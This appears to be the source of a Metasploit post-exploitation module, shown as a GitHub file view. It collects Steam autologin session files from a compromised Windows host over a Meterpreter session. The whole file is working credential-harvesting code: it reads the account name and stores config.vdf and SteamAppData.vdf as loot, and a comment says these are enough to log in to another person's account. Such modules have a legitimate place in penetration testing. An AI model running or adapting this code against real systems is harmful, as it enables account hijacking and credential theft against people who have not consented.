adfoster-r7
85 lines
3.1 KiB
Ruby
85 lines
3.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Gather Steam Client Session Collector.',
|
|
'Description' => %q{
|
|
This module will collect Steam session information from an
|
|
account set to autologin.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Nikolai Rusakov <nikolai.rusakov[at]gmail.com>'],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter' ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_config_getenv
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
# All that is needed to login to another Steam account is config.vdf,
|
|
# setting the AutoLoginUser to the proper username and RememberPassword
|
|
# to 1 in SteamAppData.vdf.
|
|
# Only tested on Win7 x64
|
|
#
|
|
# config.vdf , ContentCache element holds a K,V table of what appears
|
|
# to be UniqueID, Session. This is purely speculation as I have not
|
|
# reversed it to check. However the key is always unique to the account
|
|
# and the value changes whenever the account is logged out and then
|
|
# back in.
|
|
def run
|
|
steamappdata = 'SteamAppData.vdf'
|
|
steamconfig = 'config.vdf'
|
|
u_rx = /AutoLoginUser\W*"(.*)"/
|
|
|
|
# Steam client is only 32 bit so we need to know what arch we are on so that we can use
|
|
# the correct program files folder.
|
|
# We will just use an x64 only defined env variable to check.
|
|
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
|
|
progfilesx86 = progfiles_env['ProgramFiles(X86)']
|
|
if !progfilesx86.blank? && progfilesx86 !~ (/%ProgramFiles\(X86\)%/)
|
|
progs = progfilesx86 # x64
|
|
else
|
|
progs = progfiles_env['ProgramFiles'] # x86
|
|
end
|
|
path = "#{progs}\\Steam\\config"
|
|
|
|
print_status("Checking for Steam configs in #{path}")
|
|
|
|
# Check if all the files are there.
|
|
if directory?(path) && file?("#{path}\\#{steamappdata}") && file?("#{path}\\#{steamconfig}")
|
|
print_status('Located steam config files.')
|
|
sad = read_file("#{path}\\#{steamappdata}")
|
|
if sad =~ /RememberPassword\W*"1"/
|
|
print_status("RememberPassword is set! Accountname is #{u_rx.match(sad)[1]}")
|
|
scd = read_file("#{path}\\#{steamconfig}")
|
|
steam_app_data_path = store_loot('steam.config', 'text/plain', session, sad, filename = steamappdata)
|
|
print_good("The file SteamAppData.vdf has been stored on #{steam_app_data_path}")
|
|
steam_config_path = store_loot('steam.config', 'text/plain', session, scd, filename = steamconfig)
|
|
print_good("The file config.vdf has been stored on #{steam_config_path}")
|
|
print_status('Steam configs harvested successfully!')
|
|
else
|
|
print_error('RememberPassword is not set, exiting.')
|
|
return
|
|
end
|
|
else
|
|
print_error('Steam configs not found.')
|
|
return
|
|
end
|
|
end
|
|
end
|